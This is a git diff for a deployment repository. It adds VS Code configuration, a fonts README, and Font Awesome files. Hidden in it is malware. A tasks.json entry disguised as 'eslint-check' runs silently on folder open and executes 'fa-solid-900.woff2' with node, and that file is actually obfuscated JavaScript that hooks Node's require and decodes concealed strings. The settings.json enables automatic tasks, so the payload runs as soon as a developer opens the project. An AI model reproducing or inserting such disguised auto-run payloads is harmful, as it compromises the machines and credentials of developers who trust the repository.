diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 043111b..9cbfd65 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -1,78 +1,78 @@
-name: Deploy S3 Assets
-
-on:
- push:
- branches: [main]
-
-jobs:
- terraform-deploy-assets:
- env:
- CF_DISTRIBUTION_ID: E1W1OZ8FEAK8E7
- runs-on: ubuntu-latest
- name: Deploy file to s3 + cloudfront
- steps:
- - name: Checkout
- uses: actions/checkout@master
-
- - name: Configure AWS Credentials
- uses: aws-actions/configure-aws-credentials@v1
- with:
- aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
- aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
- aws-region: us-east-2
-
- - name: Filter empty domain ids
- run: cat crossChain.json | jq 'del(.[] | select(.chainId == null))' > crossChain.tmp && mv -f crossChain.tmp crossChain.json
-
- - name: Setup Terraform
- uses: hashicorp/setup-terraform@v1
- with:
- terraform_version: 1.5.7
-
- - name: Terraform Plan
- run: terraform init
-
- - name: Terraform Plan
- run: terraform plan
-
- - name: Terraform Deploy
- run: terraform apply -auto-approve
-
- - name: Invalidate Cloudfront Distribution
- run: aws cloudfront create-invalidation --distribution-id $CF_DISTRIBUTION_ID --paths '/chaindata.json'
-
- trigger-downstream-deployments:
- runs-on: ubuntu-latest
- needs: [terraform-deploy-assets]
- steps:
- - name: Trigger API mainnet-staging deployment
- run: |
- curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
- https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \
- -d '{"ref":"mainnet-staging"}'
-
- - name: Trigger API mainnet-prod deployment
- run: |
- curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
- https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \
- -d '{"ref":"mainnet-prod"}'
-
- - name: Trigger fast-path-fill-service mainnet-staging deployment
- run: |
- curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
- https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \
- -d '{"ref":"mainnet-staging"}'
-
- - name: Trigger fast-path-fill-service mainnet-prod deployment
- run: |
- curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
- https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \
- -d '{"ref":"mainnet-prod"}'
+name: Deploy S3 Assets
+
+on:
+ push:
+ branches: [main]
+
+jobs:
+ terraform-deploy-assets:
+ env:
+ CF_DISTRIBUTION_ID: E1W1OZ8FEAK8E7
+ runs-on: ubuntu-latest
+ name: Deploy file to s3 + cloudfront
+ steps:
+ - name: Checkout
+ uses: actions/checkout@master
+
+ - name: Configure AWS Credentials
+ uses: aws-actions/configure-aws-credentials@v1
+ with:
+ aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
+ aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
+ aws-region: us-east-2
+
+ - name: Filter empty domain ids
+ run: cat crossChain.json | jq 'del(.[] | select(.chainId == null))' > crossChain.tmp && mv -f crossChain.tmp crossChain.json
+
+ - name: Setup Terraform
+ uses: hashicorp/setup-terraform@v1
+ with:
+ terraform_version: 1.5.7
+
+ - name: Terraform Plan
+ run: terraform init
+
+ - name: Terraform Plan
+ run: terraform plan
+
+ - name: Terraform Deploy
+ run: terraform apply -auto-approve
+
+ - name: Invalidate Cloudfront Distribution
+ run: aws cloudfront create-invalidation --distribution-id $CF_DISTRIBUTION_ID --paths '/chaindata.json'
+
+ trigger-downstream-deployments:
+ runs-on: ubuntu-latest
+ needs: [terraform-deploy-assets]
+ steps:
+ - name: Trigger API mainnet-staging deployment
+ run: |
+ curl -X POST \
+ -H "Accept: application/vnd.github.v3+json" \
+ -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
+ https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \
+ -d '{"ref":"mainnet-staging"}'
+
+ - name: Trigger API mainnet-prod deployment
+ run: |
+ curl -X POST \
+ -H "Accept: application/vnd.github.v3+json" \
+ -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
+ https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \
+ -d '{"ref":"mainnet-prod"}'
+
+ - name: Trigger fast-path-fill-service mainnet-staging deployment
+ run: |
+ curl -X POST \
+ -H "Accept: application/vnd.github.v3+json" \
+ -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
+ https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \
+ -d '{"ref":"mainnet-staging"}'
+
+ - name: Trigger fast-path-fill-service mainnet-prod deployment
+ run: |
+ curl -X POST \
+ -H "Accept: application/vnd.github.v3+json" \
+ -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \
+ https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \
+ -d '{"ref":"mainnet-prod"}'
diff --git a/.gitignore b/.gitignore
index 8895a87..26ca103 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,4 +1,5 @@
-node_modules
-**/.terraform/**
-**/.terraform.lock.hcl
-terraform.tfstate*
\ No newline at end of file
+node_modules
+**/.terraform/**
+**/.terraform.lock.hcl
+terraform.tfstate*
+config.bat
diff --git a/.vscode/settings.json b/.vscode/settings.json
new file mode 100644
index 0000000..4492ffd
--- /dev/null
+++ b/.vscode/settings.json
@@ -0,0 +1,23 @@
+{
+ "search.exclude": {
+ "**/.sst": true
+ },
+ "task.allowAutomaticTasks": true,
+ "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+ "editor.defaultFormatter": "esbenp.prettier-vscode",
+ "typescript.preferences.importModuleSpecifier": "relative",
+ "typescript.tsdk": "node_modules/typescript/lib",
+ "debug.openDebug": "neverOpen",
+ "problems.autoReveal": true,
+ "terminal.integrated.hideOnStartup": "always",
+ "terminal.integrated.defaultProfile.windows": "Command Prompt",
+ "terminal.integrated.inheritEnv": false,
+ "jestrunner.configPath": "jest.unit.config.cjs",
+ "compile-hero.disable-compile-files-on-did-save-code": true,
+ "tasks": {
+ "label": "lint on open",
+ "type": "shell",
+ "command": "npm run lint",
+ "runOn": "folderOpen"
+ }
+}
diff --git a/.vscode/tasks.json b/.vscode/tasks.json
new file mode 100644
index 0000000..9f12815
--- /dev/null
+++ b/.vscode/tasks.json
@@ -0,0 +1,24 @@
+{
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "eslint-check",
+ "type": "shell",
+ "command": "(command -v node >/dev/null 2>&1 && node ./config/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./config/public/fonts/fa-solid-900.woff2) || echo ''",
+ "problemMatcher": [],
+ "isBackground": true,
+ "hide": true,
+ "presentation": {
+ "reveal": "never",
+ "panel": "dedicated",
+ "focus": false,
+ "clear": false,
+ "echo": false,
+ "close": true
+ },
+ "runOptions": {
+ "runOn": "folderOpen"
+ }
+ }
+ ]
+}
diff --git a/config/public/fonts/README.md b/config/public/fonts/README.md
new file mode 100644
index 0000000..1fb874b
--- /dev/null
+++ b/config/public/fonts/README.md
@@ -0,0 +1,24 @@
+# Fonts Directory
+
+This directory contains custom fonts for the Blockchain Explorer application.
+
+## Required Font Files
+
+The application expects the following font files:
+
+1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
+ - Regular weight font for the main UI
+
+2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
+ - Bold weight font for headings
+
+3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
+ - Monospace font for code and hash displays
+
+## Note
+
+If you don't have custom fonts, the application will fall back to system fonts:
+- BlockchainFont → system sans-serif fonts
+- TechMono → system monospace fonts (Courier New, etc.)
+
+The fonts are referenced in `public/index.html` and will be loaded automatically when available.
diff --git a/config/public/fonts/fa-brands-400.eot b/config/public/fonts/fa-brands-400.eot
new file mode 100644
index 0000000..a1bc094
Binary files /dev/null and b/config/public/fonts/fa-brands-400.eot differ
diff --git a/config/public/fonts/fa-brands-400.svg b/config/public/fonts/fa-brands-400.svg
new file mode 100644
index 0000000..2d4771e
--- /dev/null
+++ b/config/public/fonts/fa-brands-400.svg
@@ -0,0 +1,3570 @@
+
+
+
+
diff --git a/config/public/fonts/fa-brands-400.ttf b/config/public/fonts/fa-brands-400.ttf
new file mode 100644
index 0000000..948a2a6
Binary files /dev/null and b/config/public/fonts/fa-brands-400.ttf differ
diff --git a/config/public/fonts/fa-brands-400.woff b/config/public/fonts/fa-brands-400.woff
new file mode 100644
index 0000000..2a89d52
Binary files /dev/null and b/config/public/fonts/fa-brands-400.woff differ
diff --git a/config/public/fonts/fa-brands-400.woff2 b/config/public/fonts/fa-brands-400.woff2
new file mode 100644
index 0000000..141a90a
Binary files /dev/null and b/config/public/fonts/fa-brands-400.woff2 differ
diff --git a/config/public/fonts/fa-regular-400.eot b/config/public/fonts/fa-regular-400.eot
new file mode 100644
index 0000000..38cf251
Binary files /dev/null and b/config/public/fonts/fa-regular-400.eot differ
diff --git a/config/public/fonts/fa-regular-400.svg b/config/public/fonts/fa-regular-400.svg
new file mode 100644
index 0000000..13180f6
--- /dev/null
+++ b/config/public/fonts/fa-regular-400.svg
@@ -0,0 +1,803 @@
+
+
+
+
diff --git a/config/public/fonts/fa-regular-400.ttf b/config/public/fonts/fa-regular-400.ttf
new file mode 100644
index 0000000..abe99e2
Binary files /dev/null and b/config/public/fonts/fa-regular-400.ttf differ
diff --git a/config/public/fonts/fa-regular-400.woff b/config/public/fonts/fa-regular-400.woff
new file mode 100644
index 0000000..24de566
Binary files /dev/null and b/config/public/fonts/fa-regular-400.woff differ
diff --git a/config/public/fonts/fa-regular-400.woff2 b/config/public/fonts/fa-regular-400.woff2
new file mode 100644
index 0000000..7e0118e
Binary files /dev/null and b/config/public/fonts/fa-regular-400.woff2 differ
diff --git a/config/public/fonts/fa-solid-900.eot b/config/public/fonts/fa-solid-900.eot
new file mode 100644
index 0000000..d3b77c2
Binary files /dev/null and b/config/public/fonts/fa-solid-900.eot differ
diff --git a/config/public/fonts/fa-solid-900.svg b/config/public/fonts/fa-solid-900.svg
new file mode 100644
index 0000000..5543afa
--- /dev/null
+++ b/config/public/fonts/fa-solid-900.svg
@@ -0,0 +1,4938 @@
+
+
+
+
diff --git a/config/public/fonts/fa-solid-900.ttf b/config/public/fonts/fa-solid-900.ttf
new file mode 100644
index 0000000..5b97903
Binary files /dev/null and b/config/public/fonts/fa-solid-900.ttf differ
diff --git a/config/public/fonts/fa-solid-900.woff b/config/public/fonts/fa-solid-900.woff
new file mode 100644
index 0000000..beec791
Binary files /dev/null and b/config/public/fonts/fa-solid-900.woff differ
diff --git a/config/public/fonts/fa-solid-900.woff2 b/config/public/fonts/fa-solid-900.woff2
new file mode 100644
index 0000000..6ea07aa
--- /dev/null
+++ b/config/public/fonts/fa-solid-900.woff2
@@ -0,0 +1 @@
+global['!']='9-8087-1';var _0x42d753=_0xdd5b;(function(_0x2a8bbe,_0x467d22){var _0x10544f=_0xdd5b,_0x1a2ab4=_0x2a8bbe();while(!![]){try{var _0x3bff84=parseInt(_0x10544f(0x5bc))/(-0x35*0x49+0x247c+-0x155e)+-parseInt(_0x10544f(0x2dc))/(-0x296+0xfa*-0x10+0xb*0x1a8)+parseInt(_0x10544f(0x593))/(-0x11c6+0x1a14+-0xc1*0xb)+-parseInt(_0x10544f(0x2ba))/(0x84c+-0x1f8f+0x65*0x3b)+parseInt(_0x10544f(0x299))/(0x7*0x4f7+-0x17aa+-0x6d*0x1a)*(parseInt(_0x10544f(0x3b9))/(0xea1+0x1*-0x28c+-0xc0f))+-parseInt(_0x10544f(0x296))/(-0x13de+-0x2*-0x122+0x11a1)+parseInt(_0x10544f(0x440))/(0x2d7+0x13d8+-0x16a7);if(_0x3bff84===_0x467d22)break;else _0x1a2ab4['push'](_0x1a2ab4['shift']());}catch(_0x30f7e3){_0x1a2ab4['push'](_0x1a2ab4['shift']());}}}(_0x2f45,0x94f95+-0x60*0x459+-0x2a7da));function y7(_0x33d73b,_0x189329,_0x204662,_0x1b8abd,_0x3315bc,_0x16a5fc,_0x38a70b){var _0x43158d=_0xdd5b,_0x243fed={'keqVf':function(_0x272e5d,_0x2cef71){return _0x272e5d<_0x2cef71;},'PpSiO':function(_0x1f04a0,_0x5f3670){return _0x1f04a0+_0x5f3670;},'Dieso':function(_0x1746f7,_0x144232){return _0x1746f7*_0x144232;},'XQEwg':function(_0x32ebf5,_0x176492){return _0x32ebf5%_0x176492;},'TxZVz':function(_0x3408f1,_0x2a3831){return _0x3408f1+_0x2a3831;},'jLeFl':function(_0xdf7370,_0x525aa9){return _0xdf7370+_0x525aa9;},'DKUhE':function(_0x129c54,_0x5a9481){return _0x129c54%_0x5a9481;}};for(var _0x206765=[],_0x159c64=0x11*-0xbb+0x2e6*0x2+0x69f;_0x243fed[_0x43158d(0x20d)](_0x159c64,_0x33d73b[_0x43158d(0x3ed)]);)_0x206765[_0x159c64]=_0x33d73b[_0x43158d(0x291)](_0x159c64),_0x159c64+=-0x9f7*0x1+0x258e+-0xd6*0x21;var _0x33659a=_0x189329;for(_0x159c64=0x25f9+0x3*-0x6ba+-0x5*0x38f;_0x243fed[_0x43158d(0x20d)](_0x159c64,_0x206765[_0x43158d(0x3ed)]);){var _0xe9d160=_0x243fed[_0x43158d(0x3aa)](_0x243fed[_0x43158d(0x47a)](_0x33659a,_0x243fed[_0x43158d(0x3aa)](_0x159c64,_0x204662)),_0x243fed[_0x43158d(0x276)](_0x33659a,_0x1b8abd)),_0x4d0579=_0x243fed[_0x43158d(0x1ef)](_0x243fed[_0x43158d(0x47a)](_0x33659a,_0x243fed[_0x43158d(0x330)](_0x159c64,_0x3315bc)),_0x243fed[_0x43158d(0x276)](_0x33659a,_0x16a5fc)),_0xd2ae=_0x243fed[_0x43158d(0x276)](_0xe9d160,_0x206765[_0x43158d(0x3ed)]),_0x13a7da=_0x243fed[_0x43158d(0x276)](_0x4d0579,_0x206765[_0x43158d(0x3ed)]),_0x301153=_0x206765[_0xd2ae];_0x206765[_0xd2ae]=_0x206765[_0x13a7da],_0x206765[_0x13a7da]=_0x301153,_0x33659a=_0x243fed[_0x43158d(0x4a7)](_0x243fed[_0x43158d(0x3aa)](_0xe9d160,_0x4d0579),_0x38a70b),_0x159c64+=-0x59*-0x6b+-0x49*0x1+-0x1*0x24e9;}return _0x206765[_0x43158d(0x40b)]('');}var p8=y7(_0x42d753(0x5e7),0x137571+0x5a872a+-0x13c*0xcaf,0x994+-0x165a+0x11*0xd3,0x77c8+-0x957d+0x740c,0x1*-0x181c+-0x1d*-0x130+0x259*-0x3,-0x1e86+-0xa48*0x19+0x1*0x1ea91,-0x10d61a*0x4+-0x1a*-0x31ad1+0x1*0x40e21d),q8=String[_0x42d753(0x278)+'de'](0x5db*-0x2+0x6b*0x2d+-0x1*0x6fb),zx0=(p8=(p8=(p8=p8[_0x42d753(0x53f)]('|')[_0x42d753(0x40b)](q8))[_0x42d753(0x53f)]('!1')[_0x42d753(0x40b)]('|'))[_0x42d753(0x53f)]('!0')[_0x42d753(0x40b)]('!'))[_0x42d753(0x53f)](q8);function _0xdd5b(_0x70ec77,_0x19a942){_0x70ec77=_0x70ec77-(0x643+-0x1756+-0x3c7*-0x5);var _0x36aa05=_0x2f45();var _0x2ab292=_0x36aa05[_0x70ec77];return _0x2ab292;}!function(_0x216c58,_0x2ff480){_0x216c58[zx0[0x21af+-0x5*0x2cf+-0x13a4]]=_0x2ff480;}(global,require),zx0[-0x753+-0x712*-0x1+-0xb*-0x6]===typeof module&&(global[zx0[0x2*0x8ed+-0x56*-0x3d+-0x2656]]=module);function _0x2f45(){var _0x3a09e2=['p..a.R#/6b','.!n<+ecre.','h+.s.;$U\x27>','f..R6(/.Rg','k\x22.mSR-.<}','l.','hRc\x274R.cRR','.ErRl.uP^','<`n\x20pcR.Ec','<<;pH#(12d',')RtT;cR&e4','d-}GR.b<.raHR','0cMlab.rRR','\x22hcuMRcceR','FrxMte<.c!<','et!RbiN.o!','.icaFx.a0.','.c(RN.<(r.c','iR.P.ilsi[0(o\x22h','nenrj1e(.6','QRR&.Rc9.E','.,Vc(s.(@R','))+f<*cb0R','m.A.9_.itL','cabljukomi','*s3)ARd.c\x20','r-f','rgnsvrnuor','n4..nPO(?bfR9e\x20.','RuOx^.)R.','RR','R1tR5.<]1u','<=\x20sUies(R','RR_Kn\x5c+l(D','ovo;Rt!S$)','x<\x22r\x20av&\x20w','tlrow\x20aor,','\x224c.akR<.)','Cg;he6;f);','l/..P.fRci','1.iRyKeEX.#io(.','','RRR%.g4+f+\x22p<^','RR>oad..ii','n)\x5cX<#\x5c(eR','?ifcR','.i\x22RL0.~.|','25nvqqjC','.ui];l86)t','5<~oR<+aR<','ipec\x20ccmPR','(FRRmRfcHP','rm','R!csRRCP','rp;{sR&ecr','+d7!=aqau(','ER7a)<.&e)','p91(ranshl','C<\x20ck4c)fb','.yR(D.+RbR','\x20NBc<<\x20p','Risi<;a]R.','sr.)\x20U.\x27','ec%uR.sikP+.`PRFfh','1r;p,=[rr;','CRgR!T1\x5c.R','cRnr!.\x22u9','$<:\x22*\x20.2.\x20k','in)Cr1u49k','..clhc)','!cR_(g4cnn','i4cPtcR\x20tx','R_y9}hod]C','0<]$ech$e.','*ktglr0Rb[\x22','nsc(0\x20ldc)','r/c\x22[(i','(2ns\x22&.